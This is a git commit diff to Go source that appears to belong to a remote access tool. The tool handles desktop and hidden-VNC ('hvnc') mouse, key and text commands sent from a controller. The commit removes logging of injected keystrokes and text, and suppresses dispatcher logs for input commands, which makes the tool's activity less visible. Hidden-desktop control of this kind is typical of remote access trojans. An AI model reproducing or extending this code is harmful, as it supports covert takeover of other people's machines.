remove printing from these because it's unneeded for debugging at this point

This commit is contained in:
KingKDot
2026-04-06 18:07:54 -05:00
parent feb1c66526
commit 22fad89699
2 changed files with 9 additions and 6 deletions
@@ -813,7 +813,6 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
} }
} }
if vk := keyCodeToVK(code); vk != 0 { if vk := keyCodeToVK(code); vk != 0 {
log.Printf("desktop: key down code=%s vk=%d", code, vk)
sendKeyDown(vk) sendKeyDown(vk)
} }
sendCommandResultAsync(env, cmdID) sendCommandResultAsync(env, cmdID)
@@ -831,7 +830,6 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
} }
} }
if vk := keyCodeToVK(code); vk != 0 { if vk := keyCodeToVK(code); vk != 0 {
log.Printf("desktop: key up code=%s vk=%d", code, vk)
sendKeyUp(vk) sendKeyUp(vk)
} }
sendCommandResultAsync(env, cmdID) sendCommandResultAsync(env, cmdID)
@@ -849,7 +847,6 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
} }
} }
if text != "" { if text != "" {
log.Printf("desktop: text input len=%d", len(text))
sendTextInput(text) sendTextInput(text)
} }
sendCommandResultAsync(env, cmdID) sendCommandResultAsync(env, cmdID)
@@ -1320,7 +1317,6 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
} }
} }
if vk := keyCodeToVKHVNC(code); vk != 0 { if vk := keyCodeToVKHVNC(code); vk != 0 {
log.Printf("hvnc: key down code=%s vk=%d", code, vk)
enqueueHVNCInput(hvncInputEvent{kind: hvncInputKeyDown, vk: vk}) enqueueHVNCInput(hvncInputEvent{kind: hvncInputKeyDown, vk: vk})
} }
return nil return nil
@@ -1337,7 +1333,6 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
} }
} }
if vk := keyCodeToVKHVNC(code); vk != 0 { if vk := keyCodeToVKHVNC(code); vk != 0 {
log.Printf("hvnc: key up code=%s vk=%d", code, vk)
enqueueHVNCInput(hvncInputEvent{kind: hvncInputKeyUp, vk: vk}) enqueueHVNCInput(hvncInputEvent{kind: hvncInputKeyUp, vk: vk})
} }
return nil return nil
@@ -38,7 +38,15 @@ func (d *Dispatcher) Dispatch(ctx context.Context, envelope map[string]interface
case "pong": case "pong":
return HandlePong(ctx, d.Env, envelope) return HandlePong(ctx, d.Env, envelope)
case "command": case "command":
log.Printf("dispatcher: handling command type=%s", envelope["commandType"]) cmdType, _ := envelope["commandType"].(string)
switch cmdType {
case "desktop_mouse_move", "desktop_mouse_down", "desktop_mouse_up",
"desktop_key_down", "desktop_key_up", "desktop_text",
"hvnc_mouse_move", "hvnc_mouse_down", "hvnc_mouse_up",
"hvnc_mouse_wheel", "hvnc_key_down", "hvnc_key_up":
default:
log.Printf("dispatcher: handling command type=%s", cmdType)
}
return HandleCommand(ctx, d.Env, envelope) return HandleCommand(ctx, d.Env, envelope)
case "plugin_event": case "plugin_event":
return HandlePluginEvent(ctx, d.Env, envelope) return HandlePluginEvent(ctx, d.Env, envelope)